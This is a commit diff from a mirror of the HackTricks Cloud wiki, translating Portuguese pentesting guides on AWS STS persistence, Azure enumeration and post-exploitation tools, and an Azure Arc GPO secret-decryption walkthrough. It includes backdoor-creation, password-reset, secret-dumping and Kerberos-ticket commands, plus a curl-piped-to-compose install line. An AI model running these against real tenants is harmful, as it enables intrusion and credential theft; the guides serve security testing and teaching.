gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-02-04 19:11:41 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

Browse Source
This commit is contained in:
Translator
2025-01-21 17:39:39 +00:00
parent 5217cd6143
commit 132dd9ac59
42 changed files with 558 additions and 556 deletions
Download Patch File Download Diff File Expand all files Collapse all files

10
src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
View File

@@ -18,10 +18,10 @@ Tokens temporários não podem ser listados, então manter um token temporário
# Com MFA
aws sts get-session-token \
--serial-number <mfa-device-name> \
--token-code <code-from-token>
--serial-number <mfa-device-name> \
--token-code <code-from-token>
# O nome do dispositivo de hardware é geralmente o número na parte de trás do dispositivo, como GAHT12345678
# O nome do dispositivo de hardware geralmente é o número na parte de trás do dispositivo, como GAHT12345678
<strong># O nome do dispositivo SMS é o ARN na AWS, como arn:aws:iam::123456789012:sms-mfa/username
</strong># O nome do dispositivo virtual é o ARN na AWS, como arn:aws:iam::123456789012:mfa/username
</code></pre>
@@ -40,12 +40,12 @@ optional arguments:
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
> [!CAUTION]
> Observe que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras de uma cadeia de funções ser configurada.
> Note que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras de uma cadeia de funções ser configurada.
<details>
<summary>Código para realizar Role Juggling a partir do PowerShell</summary>
```powershell
```bash
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation

240
src/pentesting-cloud/azure-security/README.md
View File

@@ -10,9 +10,9 @@ az-basic-information/
## Metodologia de Pentesting/Red Team do Azure
Para auditar um ambiente AZURE, é muito importante saber: quais **serviços estão sendo utilizados**, o que está **sendo exposto**, quem tem **acesso** a quê e como os serviços internos do Azure e os **serviços externos** estão conectados.
Para auditar um ambiente AZURE, é muito importante saber: quais **serviços estão sendo utilizados**, o que está **sendo exposto**, quem tem **acesso** a quê, e como os serviços internos do Azure e os **serviços externos** estão conectados.
Do ponto de vista do Red Team, o **primeiro passo para comprometer um ambiente Azure** é conseguir obter algumas **credenciais** para o Azure AD. Aqui estão algumas ideias sobre como fazer isso:
Do ponto de vista de um Red Team, o **primeiro passo para comprometer um ambiente Azure** é conseguir obter algumas **credenciais** para o Azure AD. Aqui estão algumas ideias sobre como fazer isso:
- **Vazamentos** no github (ou similar) - OSINT
- **Engenharia** Social
@@ -33,7 +33,7 @@ Use `Disconnect-AzAccount` para removê-los.
- [Phishing de Autenticação por Código de Dispositivo](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [**Password Spraying** do Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
Mesmo que você **não tenha comprometido nenhum usuário** dentro do locatário do Azure que está atacando, você pode **coletar algumas informações** dele:
Mesmo que você **não tenha comprometido nenhum usuário** dentro do tenant do Azure que está atacando, você pode **coletar algumas informações** dele:
{{#ref}}
az-unauthenticated-enum-and-initial-entry/
@@ -62,11 +62,11 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met
Em casos onde você tem algumas credenciais válidas, mas não consegue fazer login, estas são algumas proteções comuns que podem estar em vigor:
- **Whitelist de IP** -- Você precisa comprometer um IP válido
- **Restrições geográficas** -- Descubra onde o usuário mora ou onde estão os escritórios da empresa e obtenha um IP da mesma cidade (ou país, pelo menos)
- **Restrições Geográficas** -- Descubra onde o usuário mora ou onde estão os escritórios da empresa e obtenha um IP da mesma cidade (ou país, pelo menos)
- **Navegador** -- Talvez apenas um navegador de certo SO (Windows, Linux, Mac, Android, iOS) seja permitido. Descubra qual SO a vítima/empresa usa.
- Você também pode tentar **comprometer credenciais de Service Principal**, pois geralmente são menos limitadas e seu login é menos revisado
Depois de contornar isso, você pode ser capaz de voltar à sua configuração inicial e ainda terá acesso.
Após contornar isso, você pode ser capaz de voltar à sua configuração inicial e ainda terá acesso.
### Tomada de Subdomínio
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
# List all available contexts
@@ -120,7 +120,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
{{#endtabs }}
> [!CAUTION]
> Um dos comandos mais importantes para enumerar o Azure é **`Get-AzResource`** do Az PowerShell, pois permite que você **saiba os recursos que seu usuário atual tem visibilidade**.
> Um dos comandos mais importantes para enumerar o Azure é **`Get-AzResource`** do Az PowerShell, pois permite que você **saiba quais recursos seu usuário atual tem visibilidade**.
>
> Você pode obter as mesmas informações na **console web** acessando [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ou pesquisando por "Todos os recursos"
@@ -134,7 +134,7 @@ az-services/az-azuread.md
{{#endref}}
> [!NOTE]
> Agora que você **tem algumas informações sobre suas credenciais** (e se você é uma equipe vermelha, espero que você **não tenha sido detectado**). É hora de descobrir quais serviços estão sendo usados no ambiente.\
> Agora que você **tem algumas informações sobre suas credenciais** (e se você é um red team, espero que você **não tenha sido detectado**). É hora de descobrir quais serviços estão sendo usados no ambiente.\
> Na seção a seguir, você pode verificar algumas maneiras de **enumerar alguns serviços comuns.**
## App Service SCM
@@ -149,226 +149,4 @@ Use portal.azure.com e selecione o shell, ou use shell.azure.com, para um bash o
Azure DevOps é separado do Azure. Ele possui repositórios, pipelines (yaml ou release), quadros, wiki e mais. Grupos de Variáveis são usados para armazenar valores de variáveis e segredos.
## Debug | MitM az cli
Usando o parâmetro **`--debug`** é possível ver todas as requisições que a ferramenta **`az`** está enviando:
```bash
az account management-group list --output table --debug
```
Para fazer um **MitM** na ferramenta e **verificar todas as requisições** que ela está enviando manualmente, você pode fazer:
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
export HTTPS_PROXY="http://127.0.0.1:8080"
export HTTP_PROXY="http://127.0.0.1:8080"
# If this is not enough
# Download the certificate from Burp and convert it into .pem format
# And export the following env variable
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
## Ferramentas de Reconhecimento Automatizado
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell
cd ROADTools
pipenv shell
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
roadrecon gather
roadrecon gui
```
### [Monkey365](https://github.com/silverhack/monkey365)
```powershell
Import-Module monkey365
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
```
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
```powershell
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```powershell
# You need to use the Az PowerShell and Azure AD modules:
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds
Import-Module AzureAD\AzureAD.psd1
Connect-AzureAD -Credential $creds
# Launch AzureHound
. AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
# Simple queries
## All Azure Users
MATCH (n:AZUser) return n.name
## All Azure Applications
MATCH (n:AZApp) return n.objectid
## All Azure Devices
MATCH (n:AZDevice) return n.name
## All Azure Groups
MATCH (n:AZGroup) return n.name
## All Azure Key Vaults
MATCH (n:AZKeyVault) return n.name
## All Azure Resource Groups
MATCH (n:AZResourceGroup) return n.name
## All Azure Service Principals
MATCH (n:AZServicePrincipal) return n.objectid
## All Azure Virtual Machines
MATCH (n:AZVM) return n.name
## All Principals with the ‘Contributor’ role
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
# Advanced queries
## Get Global Admins
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
## Owners of Azure Groups
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
## All Azure Users and their Groups
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
## Privileged Service Principals
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
## Owners of Azure Applications
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
## Paths to VMs
MATCH p = (n)-[r]->(g: AZVM) RETURN p
## Paths to KeyVault
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
## Paths to Azure Resource Group
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
## On-Prem users with edges to Azure
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
## All Azure AD Groups that are synchronized with On-Premise AD
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
```
### [Azucar](https://github.com/nccgroup/azucar)
```bash
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
```
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
```powershell
Connect-AzAccount
ipmo C:\Path\To\Powerzure.psd1
Get-AzureTarget
# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
```powershell
#Get-GraphTokens
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#Invoke-GraphRecon
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#Invoke-DumpApps
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Get-AzureADUsers
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Get-SecurityGroups
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
G#et-UpdatableGroups
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Get-DynamicGroups
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Get-SharePointSiteURLs
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#Invoke-GraphOpenInboxFinder
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#Get-TenantID
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Invoke-GraphRunner
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
{{#include ../../banners/hacktricks-training.md}}

242
src/pentesting-cloud/azure-security/az-enumeration-tools.md
View File

@@ -4,7 +4,7 @@
## Instalar PowerShell no Linux
> [!TIP]
> [!DICA]
> No Linux, você precisará instalar o PowerShell Core:
```bash
sudo apt-get update
@@ -128,4 +128,244 @@ O módulo Azure Active Directory (AD), agora **obsoleto**, é parte do Azure Pow
Siga este link para as [**instruções de instalação**](https://www.powershellgallery.com/packages/AzureAD).
## Ferramentas de Reconhecimento e Conformidade Automatizadas
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
O Turbot com steampipe e powerpipe permite coletar informações do Azure e Entra ID e realizar verificações de conformidade e encontrar configurações incorretas. Os módulos do Azure atualmente mais recomendados para execução são:
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
```bash
# Install
brew install turbot/tap/powerpipe
brew install turbot/tap/steampipe
steampipe plugin install azure
steampipe plugin install azuread
# Config creds via env vars or az cli default creds will be used
export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
export AZURE_TENANT_ID="<tenant-id>"
export AZURE_SUBSCRIPTION_ID="<subscription-id>"
export AZURE_CLIENT_ID="<client-id>"
export AZURE_CLIENT_SECRET="<secret>"
# Run steampipe-mod-azure-insights
cd /tmp
mkdir dashboards
cd dashboards
powerpipe mod init
powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
steampipe service start
powerpipe server
# Go to http://localhost:9033 in a browser
```
### [Prowler](https://github.com/prowler-cloud/prowler)
Prowler é uma ferramenta de segurança Open Source para realizar avaliações de melhores práticas de segurança, auditorias, resposta a incidentes, monitoramento contínuo, endurecimento e prontidão forense em AWS, Azure, Google Cloud e Kubernetes.
Basicamente, permitiria que executássemos centenas de verificações em um ambiente Azure para encontrar configurações de segurança incorretas e reunir os resultados em json (e outros formatos de texto) ou verificá-los na web.
```bash
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
# Launch web with docker-compose
export DOCKER_DEFAULT_PLATFORM=linux/amd64
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
docker compose up -d
# Access the web and configure the access to run a scan from it
# Prowler cli
python3 -m pip install prowler --break-system-packages
docker run --rm toniblyx/prowler:v4-latest azure --list-checks
docker run --rm toniblyx/prowler:v4-latest azure --list-services
docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>" -e "AZURE_CLIENT_SECRET=<secret>" toniblyx/prowler:v4-latest azure --sp-env-auth
## It also support other authentication types, check: prowler azure --help
```
### [Monkey365](https://github.com/silverhack/monkey365)
Ele permite realizar revisões de configuração de segurança de assinaturas do Azure e do Microsoft Entra ID automaticamente.
Os relatórios em HTML são armazenados dentro do diretório `./monkey-reports` na pasta do repositório do github.
```bash
git clone https://github.com/silverhack/monkey365
Get-ChildItem -Recurse monkey365 | Unblock-File
cd monkey365
Import-Module ./monkey365
mkdir /tmp/monkey365-scan
cd /tmp/monkey365-scan
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
# Scan with user creds (browser will be run)
Invoke-Monkey365 -TenantId <tenant-id> -Instance Azure -Collect All -ExportTo HTML
# Scan with App creds
$SecureClientSecret = ConvertTo-SecureString "<secret>" -AsPlainText -Force
Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
```
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
O Scout Suite coleta dados de configuração para inspeção manual e destaca áreas de risco. É uma ferramenta de auditoria de segurança multi-cloud, que permite a avaliação da postura de segurança de ambientes em nuvem.
```bash
virtualenv -p python3 venv
source venv/bin/activate
pip install scoutsuite
scout --help
# Use --cli flag to use az cli credentials
# Use --user-account to have scout prompt for user credentials
# Use --user-account-browser to launch a browser to login
# Use --service-principal to have scout prompt for app credentials
python scout.py azure --cli
```
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
É um script do PowerShell que ajuda você a **visualizar todos os recursos e permissões dentro de um Grupo de Gerenciamento e do tenant Entra ID** e encontrar configurações de segurança incorretas.
Funciona usando o módulo Az PowerShell, então qualquer autenticação suportada por esta ferramenta é suportada pela ferramenta.
```bash
import-module Az
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
```
## Ferramentas de Pós-Exploração Automatizadas
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
A enumeração do ROADRecon oferece informações sobre a configuração do Entra ID, como usuários, grupos, funções, políticas de acesso condicional...
```bash
cd ROADTools
pipenv shell
# Login with user creds
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
# Login with app creds
roadrecon auth --as-app --client "<client-id>" --password "<secret>" --tenant "<tenant-id>"
roadrecon gather
roadrecon gui
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```bash
# Launch AzureHound
## Login with app secret
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
## Login with user creds
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
```
Inicie o **BloodHound** web com **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** e importe o arquivo `output.json`.
Em seguida, na aba **EXPLORE**, na seção **CYPHER**, você pode ver um ícone de **pasta** que contém consultas pré-construídas.
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
MicroBurst inclui funções e scripts que suportam a descoberta de Serviços Azure, auditoria de configurações fracas e ações de pós-exploração, como extração de credenciais. É destinado a ser usado durante testes de penetração onde o Azure está em uso.
```bash
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
PowerZure foi criado a partir da necessidade de um framework que possa realizar tanto reconhecimento quanto exploração do Azure, EntraID e os recursos associados.
Ele usa o módulo **Az PowerShell**, então qualquer autenticação suportada por esta ferramenta é suportada pela ferramenta.
```bash
# Login
Import-Module Az
Connect-AzAccount
# Clone and import PowerZure
git clone https://github.com/hausec/PowerZure
cd PowerZure
ipmo ./Powerzure.psd1
Invoke-Powerzure -h # Check all the options
# Info Gathering (read)
Get-AzureCurrentUser # Get current user
Get-AzureTarget # What can you access to
Get-AzureUser -All # Get all users
Get-AzureSQLDB -All # Get all SQL DBs
Get-AzureAppOwner # Owners of apps in Entra
Show-AzureStorageContent -All # List containers, shared and tables
Show-AzureKeyVaultContent -All # List all contents in key vaults
# Operational (write)
Set-AzureUserPassword -Password <password> -Username <username> # Change password
Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
New-AzureBackdoor -Username <username> -Password <password>
Invoke-AzureRunCommand -Command <command> -VMName <vmname>
[...]
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
GraphRunner é um conjunto de ferramentas de pós-exploração para interagir com a Microsoft Graph API. Ele fornece várias ferramentas para realizar reconhecimento, persistência e pilhagem de dados de uma conta Microsoft Entra ID (Azure AD).
```bash
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
### [Stormspotter](https://github.com/Azure/Stormspotter)
Stormspotter cria um “gráfico de ataque” dos recursos em uma assinatura do Azure. Ele permite que equipes vermelhas e pentesters visualizem a superfície de ataque e as oportunidades de pivô dentro de um inquilino, e potencializa seus defensores para se orientarem rapidamente e priorizarem o trabalho de resposta a incidentes.
**Infelizmente, parece estar desatualizado**.
```bash
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
{{#include ../../banners/hacktricks-training.md}}

22
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
View File

@@ -1,4 +1,4 @@
# Az - Arc script de implantação GPO vulnerável
# Az - Arc vulnerable GPO Deploy Script
{{#include ../../../banners/hacktricks-training.md}}
@@ -13,8 +13,8 @@ Quando executado, o script DeployGPO.ps1 realiza as seguintes ações:
Ao executar este script, os administradores de sistema precisam fornecer dois parâmetros principais: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Além disso, requer outros parâmetros, como o domínio, o FQDN do servidor que hospeda o compartilhamento e o nome do compartilhamento. Detalhes adicionais, como o ID do locatário, grupo de recursos e outras informações necessárias, também devem ser fornecidos ao script.
Um segredo criptografado é gerado no diretório AzureArcDeploy no compartilhamento especificado usando criptografia DPAPI-NG. O segredo criptografado é armazenado em um arquivo chamado encryptedServicePrincipalSecret. Evidências disso podem ser encontradas no script DeployGPO.ps1, onde a criptografia é realizada chamando ProtectBase64 com $descriptor e $ServicePrincipalSecret como entradas. O descriptor consiste nos SIDs do grupo de Computadores de Domínio e Controladores de Domínio, garantindo que o ServicePrincipalSecret só possa ser descriptografado pelos grupos de segurança Controladores de Domínio e Computadores de Domínio, conforme observado nos comentários do script.
```powershell
Um segredo criptografado é gerado no diretório AzureArcDeploy no compartilhamento especificado usando a criptografia DPAPI-NG. O segredo criptografado é armazenado em um arquivo chamado encryptedServicePrincipalSecret. Evidências disso podem ser encontradas no script DeployGPO.ps1, onde a criptografia é realizada chamando ProtectBase64 com $descriptor e $ServicePrincipalSecret como entradas. O descriptor consiste nos SIDs do grupo de Computadores de Domínio e Controladores de Domínio, garantindo que o ServicePrincipalSecret só possa ser descriptografado pelos Controladores de Domínio e grupos de segurança de Computadores de Domínio, conforme observado nos comentários do script.
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
@@ -26,25 +26,25 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
Temos as seguintes condições:
1. Conseguimos penetrar com sucesso na rede interna.
1. Conseguimos penetrar com sucesso a rede interna.
2. Temos a capacidade de criar ou assumir o controle de uma conta de computador dentro do Active Directory.
3. Descobrimos um compartilhamento de rede contendo o diretório AzureArcDeploy.
Existem vários métodos para obter uma conta de máquina dentro de um ambiente AD. Um dos mais comuns é explorar a cota de conta de máquina. Outro método envolve comprometer uma conta de máquina através de ACLs vulneráveis ou várias outras configurações incorretas.
```powershell
```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Uma vez que uma conta de máquina é obtida, é possível autenticar-se usando essa conta. Podemos usar o comando runas.exe com a flag netonly ou usar pass-the-ticket com Rubeus.exe.
```powershell
Uma vez que uma conta de máquina é obtida, é possível autenticar usando essa conta. Podemos usar o comando runas.exe com a flag netonly ou usar pass-the-ticket com Rubeus.exe.
```bash
runas /user:fake01$ /netonly powershell
```
```powershell
```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
Ao ter o TGT da nossa conta de computador armazenado na memória, podemos usar o seguinte script para descriptografar o segredo do principal de serviço.
```powershell
Ao ter o TGT para nossa conta de computador armazenado na memória, podemos usar o seguinte script para descriptografar o segredo do principal de serviço.
```bash
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
@@ -54,7 +54,7 @@ $ebs
```
Alternativamente, podemos usar [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
Neste ponto, podemos reunir as informações restantes necessárias para conectar ao Azure a partir do arquivo ArcInfo.json, que está armazenado na mesma unidade de rede que o arquivo encryptedServicePrincipalSecret. Este arquivo contém detalhes como: TenantId, servicePrincipalClientId, ResourceGroup e mais. Com essas informações, podemos usar o Azure CLI para autenticar como o service principal comprometido.
Neste ponto, podemos coletar as informações restantes necessárias para conectar ao Azure a partir do arquivo ArcInfo.json, que está armazenado na mesma unidade de rede que o arquivo encryptedServicePrincipalSecret. Este arquivo contém detalhes como: TenantId, servicePrincipalClientId, ResourceGroup e mais. Com essas informações, podemos usar o Azure CLI para autenticar como o service principal comprometido.
## Referências

2
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
View File

@@ -52,7 +52,7 @@ az-default-applications.md
